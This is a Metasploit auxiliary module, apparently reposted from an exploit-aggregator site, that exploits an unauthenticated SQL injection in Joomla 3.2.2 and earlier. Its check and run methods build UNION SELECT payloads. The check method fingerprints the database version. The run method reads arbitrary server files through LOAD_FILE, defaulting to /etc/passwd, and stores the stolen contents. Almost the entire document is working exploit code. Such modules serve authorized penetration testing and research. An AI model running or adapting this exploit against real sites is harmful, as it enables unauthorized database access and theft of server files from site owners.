Share
## https://sploitus.com/exploit?id=PACKETSTORM:180596
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Joomla weblinks-categories Unauthenticated SQL Injection Arbitrary File Read',  
'Description' => %q{  
Joomla versions 3.2.2 and below are vulnerable to an unauthenticated SQL injection  
which allows an attacker to access the database or read arbitrary files as the  
'mysql' user. This module will only work if the mysql user Joomla is using  
to access the database has the LOAD_FILE permission.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>', #metasploit module  
],  
'References' =>  
[  
['EDB', '31459'],  
['URL', 'https://developer.joomla.org/security/578-20140301-core-sql-injection.html']  
],  
'DisclosureDate' => '2014-03-02'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base Joomla directory path", '/']),  
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),  
OptInt.new('CATEGORYID', [true, "The category ID to use in the SQL injection", 0])  
])  
  
end  
  
def check  
  
front_marker = Rex::Text.rand_text_alpha(6)  
back_marker = Rex::Text.rand_text_alpha(6)  
  
payload = datastore['CATEGORYID'].to_s  
payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]},"  
payload << "IFNULL(CAST(VERSION() "  
payload << "AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"  
  
resp = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),  
'vars_get' => {  
'id' => payload  
}  
})  
  
if !resp or !resp.body  
return Exploit::CheckCode::Safe  
end  
  
if resp.body =~ /404<\/span> Category not found/  
return Exploit::CheckCode::Unknown  
end  
  
version = /#{front_marker}(.*)#{back_marker}/.match(resp.body)  
  
if !version  
return Exploit::CheckCode::Safe  
end  
  
version = version[1].gsub(front_marker, '').gsub(back_marker, '')  
print_good("Fingerprinted: #{version}")  
return Exploit::CheckCode::Vulnerable  
end  
  
def run  
front_marker = Rex::Text.rand_text_alpha(6)  
back_marker = Rex::Text.rand_text_alpha(6)  
file = datastore['FILEPATH'].unpack("H*")[0]  
catid = datastore['CATEGORYID']  
  
payload = catid.to_s  
payload << ") UNION ALL SELECT CONCAT(0x#{front_marker.unpack('H*')[0]}"  
payload << ",IFNULL(CAST(HEX(LOAD_FILE("  
payload << "0x#{file})) AS CHAR),0x20),0x#{back_marker.unpack('H*')[0]})#"  
  
resp = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'index.php', 'weblinks-categories'),  
'vars_get' => {  
'id' => payload  
}  
})  
  
if !resp or !resp.body  
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way. Verify the IP address.")  
end  
  
if resp.body =~ /404<\/span> Category not found/  
fail_with(Failure::BadConfig, "The category ID was invalid. Please try again with a valid category ID")  
end  
  
file = /#{front_marker}(.*)#{back_marker}/.match(resp.body)  
  
if !file  
fail_with(Failure::UnexpectedReply, "Either the file didn't exist or the server has been patched.")  
end  
  
file = file[1].gsub(front_marker, '').gsub(back_marker, '')  
file = [file].pack("H*")  
  
if file == '' or file == "\x00"  
fail_with(Failure::UnexpectedReply, "Either the file didn't exist or the database user does not have LOAD_FILE permissions")  
end  
  
path = store_loot("joomla.file", "text/plain", datastore['RHOST'], file, datastore['FILEPATH'])  
  
if path and path != ''  
print_good("File saved to: #{path}")  
end  
end  
end